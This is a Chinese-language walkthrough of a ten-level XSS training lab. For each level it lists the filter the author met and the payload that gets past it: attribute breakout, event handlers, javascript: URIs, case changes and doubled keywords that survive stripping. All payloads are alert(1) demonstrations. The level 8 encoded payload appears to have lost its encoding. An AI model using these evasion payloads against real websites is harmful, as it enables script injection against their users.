xss-lab靶场通关
目录
level 1
level 2
level 3
level 4
level 5
level 6
level 7
level 8
level 9
level 10
level 1
查看网站源代码发现没有做过滤,发现页面可以把传入的name直接插入到html中
直接插入一段JS代码,get传参<script>alert(1)</script>。只要是JS代码都行
level 2
查看源代码也可以直接插入JS代码,没有反应,查看源码发现JS被直接传到value中了
要跳出value的限制,可以使用双引号逃脱
用户参与的触发方式(闭合value):
aa" onclick="alert(1)----------使用其他事件也可以
用户不参与的触发方式(闭合<>):
aa"><script>alert(1)</script>
level 3
双引号不行
试试单引号
aa' onclick='alert(1)
level 4
和第二关一样
level 5
aa' onclick='alert(1)
发现要使用双引号闭合,并且把on被过滤了,所有的on事件不能用了
script也被过滤了
使用尖括号闭合
aa"><a href="javascript:alert(1)" >aaaa</a>
level 6
经过测试script、on、image、a、data都被过滤了
试一试能不能大写
aa"><a HREF="javascript:alert(1)" >aaaa</a>
level 7
发现href和script没有了,可能被替换成空了
把href和script拆分为两部分添加到他们的两端,当中间完整的href和script被删除后,两边的自动拼接在一起构成一个完整的标签
aa"><a hrhrefef="javascriscriptpt:alert(1)" >aaaa</a>
level 8
发现把输入添加到 了href中
script被分割了
使用html实体编码试试
javascript:alert(1)
level 9
被添加到了value中,并且闭合没用
href中说链接不合法,那么试一试http
出现了和level一样的问题,使用编码解决
javascript:alert('http://')
level 10
input被隐藏了,把hidden删除
出现了三个输入框,但是除了输入没啥用,只能依赖GET传参
前两个输入没反应,第三个t_sort被传入了,就可以直接闭合
成功了,但是被隐藏了
自己在前面设置一个type标签,使后面的无效